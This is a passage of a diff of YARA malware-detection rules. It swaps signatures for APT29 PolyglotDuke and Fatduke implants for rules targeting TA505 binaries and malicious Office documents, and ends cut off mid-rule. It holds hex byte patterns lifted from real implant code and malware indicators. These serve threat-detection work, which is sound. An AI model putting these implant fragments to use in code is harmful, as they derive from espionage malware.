c7 44 24 04 00 00 00 00 89 04 24 e8 8c e8 fd ff 8b 85 44 64 ff ff c7 40 38 0c 00 00 00 8b 85 44 64 ff ff c7 40 40 01 00 00 00 8b 85 44 64 ff ff c7 40 3c 00 00 00 00 8b 85 44 64 ff ff 8d 58 38 8b 85 44 64 ff ff 8d 50 1c 8b 85 44 64 ff ff 83 c0 18 c7 44 24 0c 00 40 00 00 89 5c 24 08 89 54 24 04 89 04 24 e8 2e e5 fc ff 83 ec 10 85 c0 0f 95 c0 84 c0 0f 84 09 05 00 00 8b 85 44 64 ff ff 8d 58 38 8b 85 44 64 ff ff 8d 50 24 8b 85 44 64 ff ff 83 c0 20 c7 44 24 0c 00 40 00 00 89 5c 24 08 89 54 24 04 89 04 24 e8 eb e4 fc ff 83 ec 10 85 c0 0f 95 c0 84 c0 } + $s1 = "intc.dll" fullword ascii + $s2 = "?%?2?7?=?" fullword ascii + $s3 = "Is c++ not java" fullword ascii + $s4 = "4%5K5e5l5p5t5x5|5" fullword ascii + $s5 = "KdaMt$" fullword ascii + $s6 = ";*;9;Z;`;" fullword ascii + $s7 = "<*<4<?<I<S<Y<" fullword ascii + $s8 = "0'040A0K0U0]0k0" fullword ascii + $s9 = "3 3(30363>3M3_3" fullword ascii + $s10 = ": :9:A:F:R:W:t:z:" fullword ascii + $s11 = "5'5,585@5H5P5f5n5v5~5" fullword ascii + $s12 = "<,<2<:<@<h<n<" fullword ascii + $s13 = "8+808:8T8b8j8p8" fullword ascii + $s14 = "8!9<9K9g9o9z9" fullword ascii + $s15 = ">(>6>D>N>U>f>p>" fullword ascii + $s16 = ":!:,:>:J:X:^:c:i:v:" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 150KB and 3 of them + uint16( 0 ) == 0x5a4d and filesize < 900KB and ( pe.imphash ( ) == "642f4619fb2d93cb205c65c2546516ca" and pe.exports ( "intc" ) or 8 of them ) } -rule ARKBIRD_SOLG_APT_APT29_Polyglotduke_Mar_2021_1 : FILE + +rule ARKBIRD_SOLG_TA505_Bin_21Nov_2 : FILE { meta: - description = "Detect PolyglotDuke implant used by APT29 group" + description = "vspub1.bin" author = "Arkbird_SOLG" - id = "751e4f57-2c31-5cad-a794-e124b40c537b" - date = "2021-03-08" - modified = "2021-03-10" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_PolyglotDuke_Mar_2021_1.yar#L1-L19" + id = "2bbd1d3a-50ab-5c6a-97fe-60b5a86e8d18" + date = "2019-11-21" + modified = "2019-11-21" + reference = "https://twitter.com/58_158_177_102/status/1197432303057637377" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L32-L50" license_url = "N/A" - logic_hash = "3a6d54fb266fe054886569c200f122b1e4459e0d561fe5246b623a19ec526224" + logic_hash = "43fb83abdeb1a31da836b4cf99dcda269f6d005cbb8eb2d845498d2c589574e1" score = 75 quality = 75 tags = "FILE" - hash1 = "9b33ec7f5e615a6556f147b611425d3ca4a8879ce746d4a8cb62adf4c7f76029" - hash2 = "0c39fce5bd32b4f91a1df4f6321c2f01c017195659c7e95a235ef71ca2865aa9" + hash1 = "54cc27076793d5de064813c61d52452d42f774d24b3859a63002d842914fd9cd" strings: - $seq1 = { 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 02 ff d0 48 83 c4 28 c3 cc 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 02 ff d0 48 83 c4 28 c3 cc 4c 8b 15 [2] 02 00 41 8b c0 4c 33 15 [2] 02 00 74 03 49 ff e2 83 e0 01 4c 8b ca 41 83 e0 02 8b d0 48 ff 25 [2] 01 00 cc cc cc 4c 8b 15 [2] 02 00 4c 33 15 [2] 02 00 74 03 49 ff e2 48 ff 25 [2] 01 00 cc cc 48 83 ec 28 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 07 48 83 c4 28 48 ff e0 b9 78 00 00 00 ff 15 [2] 01 00 32 c0 48 83 c4 28 c3 cc cc cc 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 03 48 ff e0 33 c0 c3 cc cc 48 8b 05 [2] 02 00 48 33 05 [2] 02 00 74 03 48 ff e0 } - $seq2 = { 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 57 48 83 ec 30 33 ff 48 8b da 48 8b f1 48 85 c9 75 18 e8 69 0c 00 00 bb 16 00 00 00 89 18 e8 b1 38 00 00 8b c3 e9 a7 00 00 00 48 85 d2 74 e3 e8 a8 3f 00 00 41 bf 01 00 00 00 85 c0 75 0c ff 15 [2] 01 00 85 c0 41 0f 44 ff 83 64 24 28 00 48 83 23 00 48 83 64 24 20 00 41 83 c9 ff 4c 8b c6 33 d2 8b cf ff 15 [2] 01 00 48 63 e8 85 c0 75 11 ff 15 [2] 01 00 8b c8 e8 b2 0b 00 00 33 c0 eb 4f 48 8b cd 48 03 c9 e8 e3 07 00 00 48 89 03 48 85 c0 74 e9 41 83 c9 ff 4c 8b c6 33 d2 8b cf 89 6c 24 28 48 89 44 24 20 ff 15 [2] 01 00 85 c0 75 1b ff 15 [2] 01 00 8b c8 e8 70 0b 00 00 48 8b 0b e8 ?? f3 ff ff 48 83 23 00 eb b0 41 8b c7 48 8b 5c 24 40 48 8b 6c 24 48 48 8b 74 24 50 48 8b 7c 24 58 48 83 c4 30 41 5f c3 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 57 48 83 ec 40 33 ff 48 8b da 48 8b f1 } - $seq3 = { ff 25 00 00 00 00 00 00 00 00 00 00 00 00 cc } - $seq4 = "InitSvc" fullword ascii + $s1 = "glColor.dll" fullword ascii + $s2 = "{sysdir}\\nvu*.exe" fullword ascii + $s3 = "KLSUIrhekheirguhemure" fullword ascii + $s4 = "tEo>qM" fullword ascii + $s5 = "?\"?0?8?>?I?V?^?l?q?v?{?" fullword ascii + $s6 = ";\";0;d;" fullword ascii + $s7 = "T0p0v0|0" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 3 of them + uint16( 0 ) == 0x5a4d and filesize < 900KB and ( pe.imphash ( ) == "ff6dd5f31dd7c538ebc02542f09f4280" and pe.exports ( "setColor" ) or all of them ) } -rule ARKBIRD_SOLG_APT_APT29_Fatduke_Mar_2021_1 : FILE +rule ARKBIRD_SOLG_TA505_Maldoc_21Nov_1 : FILE { meta: - description = "Detect Fatduke implant used by APT29 group" + description = "invitation.doc" author = "Arkbird_SOLG" - id = "aed6d6f0-1baf-5842-8ced-e07f213ef1ff" - date = "2021-03-08" - modified = "2021-03-10" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_Fatduke_Mar_2021_1.yar#L1-L25" + id = "10562979-0b90-5752-89b8-f0d35121df41" + date = "2019-11-21" + modified = "2019-11-21" + reference = "https://twitter.com/58_158_177_102/status/1197432303057637377" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L52-L83" license_url = "N/A" - logic_hash = "2aec00355b14ec81f577527d3eba1f682ce96cc9e6ac7727b3865ddf01ddf69a" - score = 50 - quality = 67 + logic_hash = "7d2cbc0a505c245aa3e9e8a76cebc7ea7dbd4bd3be26a858f731b96791293ba5" + score = 75 + quality = 50 tags = "FILE" - hash1 = "0be57d1244fefc679feb7aa9996e539481be7b8f4c9246817f81caa8c2f61a57" - level = "Experimental" + hash1 = "a197c6de8734044c441438508dd3ce091252de4f98df2016b006a1c963c02505" strings: - $seq1 = { 5b 8d 8d 5c ff ff ff c7 85 5c ff ff ff 48 74 74 70 51 8d 85 6c ff ff ff c7 85 60 ff ff ff 4f 70 65 6e 50 51 8d 8d 14 fc ff ff c7 85 64 ff ff ff 52 65 71 75 c7 85 68 ff ff ff 65 73 74 57 e8 ce 7b f2 ff c6 45 fc 33 83 78 14 10 72 02 8b 00 50 8d 8d 90 fc ff ff e8 16 7b f2 ff c6 45 fc 34 8d 85 90 fc ff ff 50 8d 85 80 fb ff ff 8b cb 50 e8 bd 74 00 00 8b f0 c6 45 fc 35 8d 87 d0 00 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 d0 00 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 c3 2e f6 ff c6 45 fc 34 8d 8d 80 fb ff ff e8 a4 7e f2 ff c6 45 fc 33 83 bd a4 fc ff ff 10 72 0e ff b5 90 fc ff ff e8 71 0d 17 00 83 c4 04 c7 85 a4 fc ff ff 0f 00 00 00 c7 85 a0 fc ff ff 00 00 00 00 c6 85 90 fc ff ff 00 c6 45 fc 1b 83 bd 28 fc ff ff 10 72 0e ff b5 14 fc ff ff e8 3b 0d 17 00 83 c4 04 c7 85 28 fc ff ff 0f 00 00 00 c7 85 24 fc ff ff 00 00 00 00 c6 85 14 fc ff ff 00 57 bf 0b 3b 0e 02 31 cf 21 d7 21 ff bf 2b 34 81 13 21 c7 09 cf 5f 56 be 22 0c d2 00 be 80 41 78 6d 31 e6 21 ee be 55 13 41 71 90 5e 8d 8d 1c ff ff ff c7 85 1c ff ff ff 48 74 74 70 51 8d 85 32 ff ff ff c7 85 20 ff ff ff 41 64 64 52 50 51 8d 8d 2c fc ff ff c7 85 24 ff ff ff 65 71 75 65 c7 85 28 ff ff ff 73 74 48 65 c7 85 2c ff ff ff 61 64 65 72 66 c7 85 30 ff ff ff 73 57 e8 67 7a f2 ff c6 45 fc 36 83 78 14 10 72 02 8b 00 50 8d 8d 38 fd ff ff e8 af 79 f2 ff c6 45 fc 37 8d 85 38 fd ff ff 50 8d 85 c8 fb ff ff 8b cb 50 e8 36 b1 ff ff 8b f0 c6 45 fc 38 8d 87 e8 00 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 e8 00 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 5c 2d f6 ff c6 45 fc 37 8d 8d c8 fb ff ff e8 3d 7d f2 ff c6 45 fc 36 83 bd 4c fd ff ff 10 72 0e ff b5 38 fd ff ff e8 0a 0c 17 00 83 c4 04 c7 85 4c fd ff ff 0f 00 00 00 c7 85 48 fd ff ff 00 00 00 00 c6 85 38 fd ff ff 00 c6 45 fc 1b 83 bd 40 fc ff ff 10 72 0e ff b5 2c fc ff ff e8 d4 0b 17 00 83 c4 04 c7 85 40 fc ff ff 0f 00 00 00 c7 85 3c fc ff ff 00 00 00 00 c6 85 2c fc ff ff 00 50 b8 dc 4d a8 4d b8 4f 50 97 15 b8 97 55 f0 68 01 c0 01 e8 90 58 50 b8 e6 6f 71 3c 21 e0 21 e8 21 f0 21 c0 31 f0 b8 fa 02 db 55 58 8d 8d 7c ff ff ff c7 85 7c ff ff ff 48 74 74 70 51 8d 45 8c c7 45 80 53 65 6e 64 50 51 8d 8d 60 fc ff ff c7 45 84 52 65 71 75 c7 45 88 65 73 74 57 e8 1f 79 f2 ff c6 45 fc 39 83 78 14 10 72 02 8b 00 50 8d 8d 08 fd ff ff e8 67 78 f2 ff c6 45 fc 3a 8d 85 08 fd ff ff 50 8d 85 f8 fb ff ff 8b cb 50 e8 4e 75 00 00 8b f0 c6 45 fc 3b 8d 87 00 01 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 00 01 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 14 2c f6 ff c6 45 fc 3a 8d 8d f8 fb ff ff e8 f5 7b f2 ff c6 45 fc 39 83 bd 1c fd ff ff 10 72 0e ff b5 08 fd ff ff e8 c2 0a 17 00 83 c4 04 c7 85 1c fd ff ff 0f 00 00 00 c7 85 18 fd ff ff 00 00 00 00 c6 85 08 fd ff ff 00 c6 45 fc 1b 83 bd 74 fc ff ff 10 72 0e ff b5 60 fc ff ff e8 8c 0a 17 00 83 c4 04 c7 85 74 fc ff ff 0f 00 00 00 c7 85 70 fc ff ff 00 00 00 00 c6 85 60 fc ff ff 00 50 01 c8 21 f8 b8 f5 2f 8f 4d 01 e8 09 d0 01 c0 b8 4e 35 2f 2a 58 52 ba 6d 65 6b 13 01 fa 09 da 31 c2 09 da ba c9 1d 51 12 31 c2 5a 8d 4d 9c c7 45 9c 48 74 74 70 51 8d 45 aa c7 45 a0 51 75 65 72 50 51 8d 8d 48 fc ff ff c7 45 a4 79 49 6e 66 66 c7 45 a8 6f 57 e8 de 77 f2 ff c6 45 fc 3c 83 78 14 10 72 02 8b 00 50 8d 8d 50 fd ff ff e8 26 77 f2 ff c6 45 fc 3d 8d 85 50 fd ff ff 50 8d 85 98 fb ff ff 8b cb 50 e8 4d 77 00 00 8b f0 c6 45 fc 3e 8d 9f 18 01 00 00 3b de 74 24 8b 4b 10 85 c9 74 15 8b 11 3b cb 0f 95 c0 0f b6 c0 50 ff 52 10 c7 43 10 00 00 00 00 56 8b cb e8 d9 2a f6 ff c6 45 fc 3d 8d 8d 98 fb ff ff e8 ba 7a f2 ff c6 45 fc 3c 83 bd 64 fd ff ff 10 72 0e ff b5 50 fd ff ff e8 87 09 17 00 83 c4 04 c7 85 64 fd ff ff 0f 00 00 00 c7 85 60 fd ff ff 00 00 00 00 c6 85 50 fd ff ff 00 c6 45 fc 1b 83 bd 5c fc ff ff 10 72 0e ff b5 48 fc ff ff e8 51 09 17 00 83 c4 04 c7 85 5c fc ff ff 0f 00 00 00 c7 85 58 fc ff ff 00 00 00 00 c6 85 48 fc ff ff 00 56 01 d6 19 ee be ed 3e 23 0c 01 fe 21 e6 be db 1f 20 70 31 e6 5e 57 29 c7 bf 8d 30 ff 05 bf 4e 30 f9 71 19 f7 29 f7 31 ff 09 ef 5f 68 b8 b3 2b 10 8d 8d d8 fc ff ff e8 22 76 f2 ff c6 45 fc 3f 8d 8d d8 fc ff ff e8 f3 e5 f3 ff 8b f0 c6 45 fc 1b 83 bd ec fc ff ff 10 72 0e ff b5 d8 fc ff ff e8 ce 08 17 00 83 c4 04 c7 85 ec fc ff ff 0f 00 00 00 c7 85 e8 fc ff ff 00 00 00 00 c6 85 d8 fc ff ff 00 52 ba 13 63 67 6d ba 64 19 d5 47 ba 08 52 da 36 01 ea 29 f2 90 5a 55 bd 53 0d b6 39 bd 54 64 02 7d bd 29 00 37 0f 09 d5 31 c5 90 5d 8d 45 c0 8b ce 50 e8 f4 f0 f4 ff c6 45 fc 40 52 29 c2 ba a5 19 33 0c 19 ea 31 e2 01 c2 ba 3c 66 39 43 29 ca 5a 52 ba f7 42 4e 7a 09 d2 19 c2 19 e2 01 e2 21 ca 01 ca 01 da 90 5a 8d 45 d8 8b ce 50 e8 c9 fa f4 ff c6 45 fc 41 57 01 df 09 d7 bf 16 71 1b 6c bf 80 30 fd 65 01 ff 19 f7 21 ef 5f 50 29 e8 b8 6d 44 90 22 01 e8 21 c8 b8 17 5e 05 78 09 f0 01 e8 58 83 7d d0 00 76 5b 83 7d d4 08 8b 45 c0 73 03 8d 45 c0 83 7d ec 08 8b 4d d8 73 03 8d 4d d8 83 ec 08 50 6a 03 51 8d 4f 40 e8 3c 87 ff ff 89 87 a0 04 00 00 52 31 e2 01 e2 ba b7 14 98 25 01 ca ba 2f 1e d7 1b 19 f2 29 d2 5a 57 bf 75 4c a1 10 bf dc 04 47 09 01 d7 bf 9e 5f 9a 0e 01 e7 90 5f eb 4e 83 7d ec 08 8b 45 d8 73 03 8d 45 d8 83 ec 08 8d 4f 40 6a 00 6a 01 50 e8 ec 86 ff ff 89 87 a0 04 00 00 53 bb ea 4a 79 17 21 eb 31 db bb b9 2c e1 4c 09 d3 21 eb 19 c3 5b 51 b9 91 6c 71 6d b9 64 25 d3 02 19 c1 19 c1 31 e1 29 f1 29 d9 59 83 bf a0 04 00 00 00 0f 85 a6 00 00 00 8d 8d e4 fe ff ff c7 85 e4 fe ff ff 43 61 6e 6e 51 8d 85 00 ff ff ff c7 85 e8 fe ff ff 6f 74 20 70 50 51 8d 8d 68 fb ff ff c7 85 ec fe ff ff 65 72 66 6f c7 85 f0 fe ff ff 72 6d 20 49 c7 85 f4 fe ff ff 6e 74 65 72 c7 85 f8 fe ff ff 6e 65 74 4f c7 85 fc fe ff ff 70 65 6e 21 e8 bd 74 f2 ff c6 45 fc 42 83 78 14 10 } - $seq2 = { 59 52 29 d2 ba 02 4d d2 52 ba 5f 54 50 4f 29 ea 29 c2 01 ea 01 e2 5a 56 21 ee 01 ee be 38 36 21 60 31 f6 19 ce 29 d6 be 13 6c 2d 6f 5e 85 c0 0f 85 0a 02 00 00 8d 8d 1c fe ff ff c7 85 1c fe ff ff 43 61 6e 6e 51 8d 85 5e fe ff ff c7 85 20 fe ff ff 6f 74 20 69 50 51 8d 8d c4 f7 ff ff c7 85 24 fe ff ff 6e 69 74 69 c7 85 28 fe ff ff 61 6c 69 7a c7 85 2c fe ff ff 65 20 73 69 c7 85 30 fe ff ff 67 6e 65 72 c7 85 34 fe ff ff 21 20 43 61 c7 85 38 fe ff ff 6e 6e 6f 74 c7 85 3c fe ff ff 20 70 65 72 c7 85 40 fe ff ff 66 6f 72 6d c7 85 44 fe ff ff 20 43 72 79 c7 85 48 fe ff ff 70 74 41 63 c7 85 4c fe ff ff 71 75 69 72 c7 85 50 fe ff ff 65 43 6f 6e c7 85 54 fe ff ff 74 65 78 74 c7 85 58 fe ff ff 20 65 72 72 66 c7 85 5c fe ff ff 6f 72 e8 93 5b f1 ff c6 45 fc 46 83 78 14 10 72 02 8b 00 50 8d 8d f0 f9 ff ff e8 db 5a f1 ff c6 45 fc 47 ff d3 50 8d 85 f0 f9 ff ff 50 8d 8d 78 f8 ff ff e8 c2 e3 f8 ff 68 d4 4f 2e 10 8d 85 78 f8 ff ff 50 e8 3c 31 16 00 8d 8d 64 fe ff ff c7 85 64 fe ff ff 43 61 6e 6e 51 8d 85 a6 fe ff ff c7 85 68 fe ff ff 6f 74 20 69 50 51 8d 8d 94 f7 ff ff c7 85 6c fe ff ff 6e 69 74 69 c7 85 70 fe ff ff 61 6c 69 7a c7 85 74 fe ff ff 65 20 73 69 c7 85 78 fe ff ff 67 6e 65 72 c7 85 7c fe ff ff 21 20 43 61 c7 85 80 fe ff ff 6e 6e 6f 74 c7 85 84 fe ff ff 20 70 65 72 c7 85 88 fe ff ff 66 6f 72 6d c7 85 8c fe ff ff 20 43 72 79 c7 85 90 fe ff ff 70 74 41 63 c7 85 94 fe ff ff 71 75 69 72 c7 85 98 fe ff ff 65 43 6f 6e c7 85 9c fe ff ff 74 65 78 74 c7 85 a0 fe ff ff 20 65 72 72 66 c7 85 a4 fe ff ff 6f 72 e8 8e 5a f1 ff c6 45 fc 48 83 78 14 10 72 02 8b 00 } - $seq3 = { c7 85 1c f8 ff ff 07 00 00 00 c7 85 18 f8 ff ff 00 00 00 00 33 c0 66 89 85 08 f8 ff ff 53 19 f3 21 db 21 fb 31 f3 29 fb 19 f3 bb 9f 7a e7 00 21 fb 90 5b 52 ba 77 2c 66 51 ba 60 54 5a 36 19 ea 09 ca ba 32 36 94 1b 90 5a 53 09 eb bb 92 73 c4 2a bb d1 71 ed 5e 01 eb bb 9b 43 21 23 90 5b 50 b8 09 65 36 3a 09 c0 29 e8 29 f8 21 f8 b8 3d 39 c6 44 01 e8 58 89 85 78 fd ff ff 89 85 7c fd ff ff 89 85 80 fd ff ff 89 85 84 fd ff ff 89 85 88 fd ff ff 89 85 8c fd ff ff c7 85 88 f8 ff ff 52 65 67 4f c7 85 8c f8 ff ff 70 65 6e 4b c7 85 90 f8 ff ff 65 79 45 78 c6 85 94 f8 ff ff 57 89 85 48 f8 ff ff 89 85 4c f8 ff ff c7 85 4c f8 ff ff 0f 00 00 00 89 85 48 f8 ff ff 88 85 38 f8 ff ff 8d 85 95 f8 ff ff 50 8d 85 88 f8 ff ff 50 8d 85 38 f8 ff ff 50 50 8b c8 e8 99 c1 de ff c6 45 fc 0a 83 bd 4c f8 ff ff 10 8b 85 38 f8 ff ff 73 06 8d 85 38 f8 ff ff 50 8d } - $seq4 = { 31 e1 b9 e9 52 83 05 29 d1 01 f9 59 80 7d 0c 00 0f 84 fb 03 00 00 66 c7 85 70 fe ff ff 0d 0a c7 85 50 fe ff ff 0d 0a 2d 2d c7 85 14 fe ff ff 53 75 62 6d c7 85 18 fe ff ff 69 74 74 65 c6 85 1c fe ff ff 64 c7 85 78 fd ff ff 43 6f 6e 74 c7 85 7c fd ff ff 65 6e 74 2d c7 85 80 fd ff ff 44 69 73 70 c7 85 84 fd ff ff 6f 73 69 74 c7 85 88 fd ff ff 69 6f 6e 3a c7 85 8c fd ff ff 20 66 6f 72 c7 85 90 fd ff ff 6d 2d 64 61 c7 85 94 fd ff ff 74 61 3b 20 c7 85 98 fd ff ff 6e 61 6d 65 c7 85 9c fd ff ff 3d 22 65 6e c7 85 a0 fd ff ff 64 22 0d 0a 66 c7 85 a4 fd ff ff 0d 0a 8d 8d 70 fe ff ff 8d 85 72 fe ff ff 51 50 51 8d 8d 3c fa ff ff e8 b3 34 fb ff 8b d8 c6 45 fc 35 8d 8d 50 fe ff ff 8d 85 54 fe ff ff 51 50 51 8d 8d 6c fa ff ff e8 93 34 fb ff 8b f8 c6 45 fc 36 8d 8d 14 fe ff ff 8d 85 1d fe ff ff 51 50 51 8d 8d 84 fa ff ff e8 73 34 fb ff c6 45 fc 37 83 78 14 10 72 02 8b 00 50 8d 8d 1c f8 ff ff e8 bb 33 fb ff 89 85 7c fe ff ff c6 45 fc 38 8d 8d 78 fd ff ff 8d 85 a6 fd ff ff 51 50 51 8d 8d 80 f8 ff ff e8 37 34 fb ff c6 45 fc 39 83 78 14 10 72 02 8b 00 ff b5 7c fe ff ff 8b d0 8d 8d 04 f7 ff ff e8 88 4e fc ff 83 c4 04 c6 45 fc 3a 83 7f 14 10 72 02 8b 3f 57 8b d0 8d 8d 9c f8 ff ff e8 cb 60 fb ff c6 45 fc 3b 8d 4d d4 51 8b d0 8d 8d 74 f7 ff ff e8 96 b9 00 00 83 c4 08 c6 45 fc 3c 83 7b 14 10 72 02 8b 1b 53 8b d0 8d 8d b8 f8 ff ff e8 99 60 fb ff 83 c4 04 c6 45 fc 3d 6a ff 6a 00 50 8d 4d a4 e8 d5 39 fb ff c6 45 fc 3c 83 bd cc f8 ff ff 10 72 0e ff b5 b8 f8 ff ff e8 d2 c5 1f 00 83 c4 04 c7 85 cc f8 ff ff 0f 00 00 00 c7 85 c8 f8 ff ff 00 00 00 00 c6 85 b8 f8 ff ff 00 c6 45 fc 3b 83 bd 88 f7 ff ff 10 72 0e ff b5 74 f7 ff ff e8 9c c5 1f 00 83 c4 04 c7 85 88 f7 ff ff 0f 00 00 00 c7 85 84 f7 ff ff 00 00 00 00 c6 85 74 f7 ff ff 00 c6 45 fc 3a 83 bd b0 f8 ff ff 10 72 0e ff b5 9c f8 ff ff e8 66 c5 1f 00 83 c4 04 c7 85 b0 f8 ff ff 0f 00 00 00 c7 85 ac f8 ff ff 00 00 00 00 c6 85 9c f8 ff ff 00 c6 45 fc 39 83 bd 18 f7 ff ff 10 72 0e ff b5 04 f7 ff ff e8 30 c5 1f 00 83 c4 04 c7 85 18 f7 ff ff 0f 00 00 00 c7 85 14 f7 ff ff 00 00 00 00 c6 85 04 f7 ff ff 00 c6 45 fc 38 83 bd 94 f8 ff ff 10 72 0e ff b5 80 f8 ff ff e8 fa c4 1f 00 83 c4 04 c7 85 94 f8 ff ff 0f 00 00 00 c7 85 90 f8 ff ff 00 00 00 00 c6 85 80 f8 ff ff 00 c6 45 fc 37 83 bd 30 f8 ff ff 10 72 0e ff b5 1c f8 ff ff e8 c4 c4 1f 00 83 c4 04 c7 85 30 f8 ff ff 0f 00 00 00 c7 85 2c f8 ff ff 00 00 00 00 c6 85 1c f8 ff ff 00 c6 45 fc 36 83 bd 98 fa ff ff 10 72 0e ff b5 84 fa ff ff e8 8e c4 1f 00 83 c4 04 c7 85 98 fa ff ff 0f 00 00 00 c7 85 94 fa ff ff 00 00 00 00 c6 85 84 fa ff ff 00 c6 45 fc 35 83 bd 80 fa ff ff 10 72 0e ff b5 6c fa ff ff e8 58 c4 1f 00 83 c4 04 c7 85 80 fa ff ff 0f 00 00 00 c7 85 7c fa ff ff 00 00 00 00 c6 85 6c fa ff ff 00 c6 45 fc 27 83 bd 50 fa ff ff 10 72 0e ff b5 3c fa ff ff e8 22 c4 1f 00 83 c4 04 c7 85 50 fa ff ff 0f 00 00 00 c7 85 4c fa ff ff 00 00 00 00 c6 85 3c fa ff ff 00 53 19 d3 bb 18 4a 91 1c 21 c3 bb 82 54 5d 2c bb b0 08 2a 58 90 5b 51 21 e9 b9 b9 6e b4 14 31 f1 01 c1 01 f9 19 e1 21 d9 09 f9 90 59 56 be cd 3a 33 5a be 85 1b aa 6f be 1e 6c 78 2d 19 d6 21 e6 90 5e 53 31 f3 bb 8c 21 88 0d 31 db 31 eb 19 d3 19 f3 31 f3 01 f3 90 5b 80 7e 40 00 0f 85 03 06 00 00 66 c7 85 60 fe ff ff 0d 0a c7 85 48 fe ff ff 0d 0a 2d 2d c7 85 d8 fc ff ff 43 6f 6e 74 c7 85 dc fc ff ff 65 6e 74 2d c7 85 e0 fc ff ff 44 69 73 70 c7 85 e4 fc ff ff 6f 73 69 74 c7 85 e8 fc ff ff 69 6f 6e 3a c7 85 ec fc ff ff 20 66 6f 72 c7 85 f0 fc ff ff 6d 2d 64 61 c7 85 f4 fc ff ff 74 61 3b 20 c7 85 f8 fc ff ff 6e 61 6d 65 c7 85 fc fc ff ff 3d 22 63 73 c7 85 00 fd ff ff 72 66 5f 74 c7 85 04 fd ff ff 6f 6b 65 6e c7 85 08 fd ff ff 22 0d 0a 0d c6 85 0c fd ff ff 0a 8d 8d 60 fe ff ff 8d 85 62 fe ff ff 51 50 51 8d 8d 00 f9 ff ff e8 b7 30 fb ff 8b d8 c6 45 fc 3e 8d 8d 48 fe ff ff 8d 85 4c fe ff ff 51 50 51 8d 8d 30 f9 ff ff e8 97 30 } - $op1 = { 37 25 38 3d 38 43 38 5e 38 6c 38 77 38 } - $op2 = { 3f 25 3f 36 3f 66 3f 74 3f } - $op3 = { 68 66 43 78 28 6a 25 } - $op4 = { 61 46 25 7c 5f 56 21 } + $x1 = "C:\\Users\\J\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\basecamp" fullword wide + $x2 = "*\\G{42DC991A-7E1B-4254-B210-CDD3DDCFD365}#2.0#0#C:\\Users\\1\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object" wide + $x3 = "*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" fullword wide + $x4 = "C:\\Users\\J\\AppData\\Local\\Temp\\basecamp" fullword wide + $s5 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide + $s6 = "*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual" wide + $s7 = "glColor.dll" fullword ascii + $s8 = "magne.dll" fullword ascii + $s9 = "InitScope.dll" fullword wide + $s10 = "*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" fullword wide + $s11 = "CopyFiles=@EP0NGJ8D.GPD,@EP0NGN8D.GPD,@EP0NGX8D.GPD,@EP0NCJ8D.CMB,@EP0NOJ8D.DXT,@EP0NOE10.DLL,@EP0NM4RC.DLL,@EP0NRE8D.DLL" fullword wide + $s12 = "CopyFiles=@EP0NGJ8C.GPD,@EP0NGN8C.GPD,@EP0NGX8C.GPD,@EP0NCJ8C.CMB,@EP0NOJ8C.DXT,@EP0NOE09.DLL,@EP0NM4RB.DLL,@EP0NRE8C.DLL" fullword wide + $s13 = "vspub2.dll-" fullword ascii + $s14 = "pictarget" fullword ascii + $s15 = "Public Declare Function ZooDcom Lib \"vspub1.dll\" Alias \"IKAJSL\" () As Integer" fullword ascii + $s16 = "\"Epson\"=\"http://go.microsoft.com/fwlink/?LinkID=36&prd=10798&sbp=Printers\"" fullword wide + $s17 = "EP0NM4RC.DLL = 1" fullword wide + $s18 = "EP0NOE10.DLL = 1" fullword wide + $s19 = "EP0NRE8C.DLL = 1" fullword wide + $s20 = "EP0NM4RB.DLL = 1" fullword wide condition: - uint16( 0 ) == 0x5a4d and filesize > 350KB and 2 of ( $seq* ) and 3 of ( $op* ) + uint16( 0 ) == 0xcfd0 and filesize < 3000KB and 1 of ( $x* ) and 4 of them } - -rule ARKBIRD_SOLG_APT_Sidewinder_NET_Loader_Aug_2020_1 : FILE +rule ARKBIRD_SOLG_TA505_Maldoc_21Nov_2 : FILE { meta: - description = "Detected the NET loader used by SideWinder group (August 2020)" + description = "invitation (1).xls" author = "Arkbird_SOLG" - id = "7334a3b8-cd56-5820-a073-5bd22076644f" - date = "2020-08-24" - modified = "2020-08-24" - reference = "https://twitter.com/ShadowChasing1/status/1297902086747598852" - source_url = 